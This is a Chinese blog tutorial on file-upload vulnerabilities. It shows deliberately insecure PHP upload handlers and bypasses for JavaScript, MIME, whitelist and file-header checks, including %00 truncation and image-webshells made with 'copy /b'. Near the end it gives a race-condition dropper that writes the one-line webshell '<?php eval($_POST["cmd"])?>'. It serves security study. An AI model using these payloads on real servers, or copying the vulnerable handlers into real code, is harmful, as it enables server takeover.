首页 > 其他分享 >文件上传-cnblog

文件上传-cnblog

时间:2024-04-22 22:55:39浏览次数:29  
标签:文件 检测 绕过 php 上传 cnblog 服务端

文件上传

概念

文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全

文件上传必须以POST提交表单。表单中需要 <input type="file" name="upload">

攻击者通过上传恶意文件传递给解释器执行,然后就可以在服务器上执行恶意代码,进行数据执行,服务器文件管理,命令执行等恶意操作。从而控制整个网站,甚至是服务器,这个恶意的文件 (php、asp、aspx、jsp等),又被称为Webshell

产生原因

1.服务器配置不当

2.开源编辑器上传漏洞

3.本地文件上传限制被绕过

4.过滤不严格被绕过

5.文件解析漏洞导致文件执行

6.文件路径截断

利用条件

(1)能够成功上传木马。

(2)上传的木马能够被web容器解析执行,所以上传路径要在web容器覆盖范围内。

(3)用户能够访问上传的木马,所以得知道上传的木马准确路径。将一句话木马上传至服务器,并能成功访问。(页面空白访问成功)

成功后即可搭配webshell工具连接使用

文件上传绕过

上传后如何处理及解释文件 ** **分为 上传客户端 解析服务端

客户端JavaScript检测(前端检测)

开发者在前端使用JavaScript做了白名单验证,如果文件名不符合规则那么就不允许被上传

JS代码

<script type="text/javascript">
  function checkFile(){
    var flag=false;
    var str=document.getElementById("file").value; // 拿到value值给str
    //获取文件最后一个点的位置,之后所有的字符 也就是获得文件后缀名再次给到str变量
    str = str.substring(str.lastIndexOf('.')+1); 
    //白名单来存储三个可以用的后缀名,利用for循环来遍历,如果出现相等的那么就是为真,如果不是
    // 那么flag就还是假的,下面的判断是 flag是否为假 !非就是判断一个值是不是假 是的话则就是文件不合法,之后返回falag类型
    var arr=new Array('png','gif','jpg'); 
    for(var i=0;i<arr.length;i++){
      if(str==arr[i]){
        flag=true;
      }
    }
    if(!flag){
      alert('文件不合法');
    }
    return flag;
  }
</script>

提交表单

          // OnSubmit属性指定了在表单提交前需要执行的JavaScript函数
<form action="low.php" method="post" onSubmit="return checkFile()" enctype="multipart/form-data">
    <input type="file" name="file" id="file" /><br/>
    <br/>
    <input type="submit" vlue="提交" name="submit">
  </form>

服务端代码(没有任何判断只在前端做检测)

<?php
        if (isset($_POST['submit'])) { //先判断有么有表单提交
     $target_path = "../uploads/"; // 提交后上传的路径在../uploads/
     // 将上传文件的原始名称和保存路径拼接在一起,得到最终的保存路径和文件名。
      $target_path = $target_path . basename( $_FILES['file']['name']);
      // 将上传的文件从临时文件夹中移动到指定的保存路径中。如果移动成功,则返回rue,否则返回false
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path==flase)) {
         echo'文件上传失败';
        } else {
         echo"$target_path  文件上传成功";
        }
                }
?>

绕过方式

1.使用火狐插件禁用JavaScript代码 Javascript Switcher,禁用后前端检测也就没有了

2.先上传符合规则的文件,通过burp suite抓包修改其后缀名。

bp抓包,先将我们的123.txt文件改变后缀变成 123.jpg,上传图片后,点击开始上传即可抓到对应的响应包

发送到重发器中 修改请求后缀为 123.txt,成功上传成功绕过

  1. F12看源码 checkFileExt()函数调用的,直接删除这个函数前端检测就失效了

服务端MIME类型检测

MIME检测上传文件的后缀 ,上传文件时可以通过服务端对上传文件的MIME类型进行判断。

服务端代码(在后端检测)

<?php
        if (isset($_POST['submit'])) {
          $target_path = "../uploads/"; //直接保存路径
          // 拼接上下文为最终路径
          $target_path = $target_path . basename($_FILES['file']['name']);
          // 获得上传原始名称全名
          $uploaded_name = $_FILES['file']['name'];
          // 获取文件的类型 后缀
          $uploaded_type = $_FILES['file']['type'];
          // 判断类型是否是 image/jpeg
          if ($uploaded_type == "image/jpeg"){
 // 将上传的文件从临时文件夹中移动到指定的保存路径中。如果移动成功,则返回true,否则返回false。
           if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
              echo'文件上传失败';
             } else {
                echo"$target_path  文件上传成功";
              }
            }
         // 不是指定的类型那么就上传失败   
           else{
           echo'文件上传失败';
           }
         }
?>

绕过方式

通过burp suite抓包修改Content-Type字段改为:Content-Type: image/jpeg,意味着告诉服务器发送的数据是JPEG格式的图像文件 那么在做判断的时候就会和上文中的if进行,返回true 上传成功,

发送到重发器修改后缀名

Content-Type是什么?

Content-Type是HTTP协议头中的一个字段,用于指定发送的数据的类型或格式。该字段通常包括两个部分:主类型和子类型,中间用斜杠(/)分隔。例如,Content-Type: text/html表示发送的数据是HTML格式的文本内容。常见的Content-Type类型包括:

  • text/plain : 纯文本格式
  • text/html : HTML格式
  • application/json : JSON格式
  • application/xml : XML格式
  • image/jpeg : JPEG格式的图像文件
  • audio/mpeg : MP3格式的音频文件
  • video/mp4 : MP4格式的视频文件

Content-Type字段对于服务器和客户端之间的通信非常重要,因为它指定了如何解析和处理发送的数据。如果Content-Type字段不正确,服务器可能无法正确处理数据,从而导致通信失败或出现其他问题

服务端 白名单检测

服务端取文件后缀名进行白名单比对,如果文件名不符合规则那么就不允许被上传。

服务端白名单检测算是相对安全的检测方式,但也有被利用的可能

服务端PHP代码(只有规定的类型才会通过)

<?php
if (isset($_POST['submit'])) { // 检查是否按下了提交按钮
    $target_path = "../uploads/"; // 设置上传文件的目标路径
    $target_path = $target_path . basename($_FILES['file']['name']); // 将目标路径和上传文件的文件名合并
    $uploaded_name = $_FILES['file']['name']; // 获取上传文件的文件名
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取上传文件的扩展名
    // 如果上传文件的扩展名为 jpg 或 jpeg,则执行下面的代码
    if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG")){ 
        // 如果上传文件失败,则输出“文件上传失败”
        if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) { 
            echo '文件上传失败';
        } else { // 如果上传文件成功,则输出上传文件的路径和“文件上传成功”
            echo "$target_path  文件上传成功";
        }
    } else { // 如果上传的文件类型不是 jpg 或 jpeg,则输出“文件上传失败”
        echo '文件上传失败';
    }
}
?>

绕过方式

首先将木马文件改为规则的后缀名,通过burp suite抓包,如果头文件中含有文件名以及存储路径。将路径改为xx.php后面跟%00,文件名不变。那么在存储路径和文件名拼接时%00及以后的信息将被丢弃。即符合白名单验证,文件又会被存储为xx.php。

%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合服务器中间件解析漏洞绕过

(还可以配合服务器解析漏洞,以及文件包含漏洞形成漏洞链以达到攻击的目的。)

服务端文件头检测制作图片马

文件头检测是在文件上传时取文件的前2个字节进行特征对比,符合格式的话就是那个类型的文件,我们通过将恶意代码前面添加其他符号要求的文件头部2个字节就可以伪造成正常的类型,从而绕过检查

木马文件是更改后缀名可以通过服务端白名单检测,但是无法绕过文件头检测

服务端代码

<?php
header("Content-type: text/html; charset=utf-8"); // 设置 HTTP 响应头,指定字符集为 utf-8
function getReailFileType($filename){ // 定义一个函数,用于获取上传文件的真实类型
    $file = fopen($filename, "rb");  // 以二进制只读方式打开上传的这个文件
    $bin = fread($file, 2); //只读这个文件的前2字节
    fclose($file);   // 关闭文件句柄
    $strInfo = @unpack("C2chars", $bin);    // 解包文件前两个字节
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    // 将前两个字节转换为整数
    $fileType = '';     // 初始化文件类型变量
    switch($typeCode){  // 根据文件类型码进行判断    
        case 255216:        // JPEG 类型码     
            $fileType = 'jpg';
            break;
        case 13780:        // png类型码        
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType; // 返回文件类型
}
if (isset($_POST['submit'])) {
       $target_path = "../uploads/"; // 设置上传文件的目标路径
       $target_path = $target_path . basename($_FILES['file']['name']); // 将路径和文件名合并
       $uploaded_name = $_FILES['file']['name']; // 获取上传的文件名
       $fileType = getReailFileType($_FILES['file']['tmp_name']); // 获取上传文件的真实类型
       $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取上传文件的扩展名.后面+1
       if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG" ) & ($fileType == 'jpg' || $fileType == 'png' || $fileType == 'gif')){
       if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
             echo"文件上传失败";
          } else {
            echo"$target_path  文件上传成功";
           }
        }else{
             echo"文件上传失败";
             }
          }
 
?>

绕过方式

添加文件头:GIF89a

制作图片马:图片名称xx.jpg,木马名称xx.php。copy xx.jpg/b + xx.php/a xx.jpg

这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

使用cygwin工具可以查看到普通图片的字节

我们可以把一个php文件和一张普通图片利用命令来进行合并,使其字符符合要求绕过验证

使用cmd命令 
copy /b 20.png + get.php get.png

生成成功使用记事本浏览器,发现虽然前面是乱码,但是在组合还是我们的PHP语句

成功绕过上传,图片的壳,恶意代码的芯,但是这种情况还是无法利用的需要满足其下两个条件

1. 网站只是对文件头检测,上传后需要修改后缀为 php 才可以解析 

2. 上传.htaccess文件内容使其解析png内容为png (但是这里都可以上传不限制后缀了,第一种方式就够了)

3. 使用文件包含漏洞,当使用这文件包含函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该包含的文件是什么类型。(无论是txt、图片文件,远程URL,全都作为PHP代码执行)但是这里是不成立的只在靶场
   可疑,因为都可以上传php了,那么可以直接上传木马了

任意上传检测文件内容竞争条件绕过

有些网站是允许先上传任意后缀的文件,然后检测文件内容是否包含webshell脚本,如果包含那么就删除文件, 但是

文件上传成功后和删除文件后存在一个时间差,上传成功后意味着我们可以访问,我们可以构造webshell为生成一个webshll的代码

那么我们访问后就会生成一个新的php文件而不是上传

我们可以先上传一个webshell脚本1.php ,脚本的内容如下,它的作用是生成一个新的wbeshell脚本saber.php,saber.php的文件代码是wbeshell脚本

<?php fputs(fopen("saber.php","w"),'<?php eval($_POST["cmd"])?>');
// 生成新的webshell php文件

当1.php上传成功后,客户端立即访问10php,则会在服务端当前目录下自动生成saber.php,这时攻击者就利用时间差完成了WebShell的上

标签:文件,检测,绕过,php,上传,cnblog,服务端
From: https://www.cnblogs.com/yue0day/p/18151770

相关文章

  • 信息收集-cnblog
    信息收集domain:"kuaishou.com"ANDport:"80"360网络空间检索语句(domain="qianxin.com")&&ip.port="80"鹰图曾记得某位大佬说过“渗透测试的本质就是信息收集”,那么信息收集,我们到底该收集啥?信息收集是指通过各种方式获取所需要的信息,以便我们在后续的......
  • JDBC数据库-cnblog
    “感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!......
  • 解决方案 | 获取所有的打印输出的图纸尺寸的名称GetCanonicalMediaNames返回为空的原
     巨大的坑,该代码来自于acadauto_2014--AutoCAD2014ActiveXReferenceGuide.chm但是存在一个巨大的bug。'获取所有的打印输出的图纸尺寸的名称,但是事前必须设置【打印机对象】也就是Layouts("Model").ConfigName="DWFClassic.pc3"这样的代码,否则返回为空。也就是说,先设......
  • 前端【uniapp】02-uniapp【全局文件】【组件【内置、扩展】】【声明周期】【API调用】
    一、uni-app基础知识uni-app是组合了Vue和微信小程序的相关技术知识,要求大家同时俱备Vue和原生小程序的开发基础。1、全局文件在小程序中有全局样式、全局配置等全局性的设置,为此在uni-app中也有一些与之相对应的全局性的文件。uni.scssuni-app项目在运......
  • 测试(上传博客)
    数据结构——单链表笔记//指的是单向链表中的结点有效数据类型,用户可以根据需要进行修改typedefintDataType_t;//构造链表的结点,链表中所有结点的数据类型应该是相同的typedefstructLinkedList{ DataType_t data;//结点的数据域 structLinkedList *next;//结......
  • 打印文件 -批量打印PDF/WORD/EXCEL/POWER POINT文件
     打印软件下载地址链接:https://pan.baidu.com/s/1IjRlNb2Krl8P_pCuIhbL-g提取码:gzkn--来自百度网盘超级会员V4的分享批量打印PDF/WORD/EXCEL/POWERPOINT文件|SW技巧网(peesky.com)   ......
  • Dom4j解析xml文件
    1.创建xml阅读器,进行xml文件的解析,阅读器使用的是SAX阅读器。SAXReaderreader=newSAXReader();Documentdoc=reader.read("xml文件的路径");2.获取根节点。Elementroot=doc.getRootElement();3.获取根节点的集合,导入List遍历得到根节点下的子节点,设置类型为Elemen......
  • 使用命令行 Windows 修改文件权限
    向文件添加管理员组和系统组的完全访问权限(F)icacls<file>/inheritance:r/grant"Administrators:F"/grant"SYSTEM:F"将<file>替换为你的文件名向文件添加指定用户(组)的完全访问权限(F)首先查询该用户的SID:$Get-LocalUser|Select-ObjectName,SIDName......
  • Python实现下载文件的三种方法
    下面来看看三种方法是如何来下载zip文件的:方法一: importurllibprint"downloadingwithurllib"url='http://www.jb51.net//test/demo.zip'urllib.urlretrieve(url,"demo.zip") 方法二: importurllib2print"downloadingwithurllib2"u......
  • Python实现批量下载文件的示例代码
    前言下载文件是我们在日常工作中常常要做的一件事情。当我们需要从互联网上批量下载大量文件时,手动一个一个去下载显然不够高效。为了解决这个问题,我们可以使用Python编写一个批量下载文件的脚本,让它自动帮我们下载文件。同时,为了避免下载过程中被网站禁止访问,我们也可以运用代理......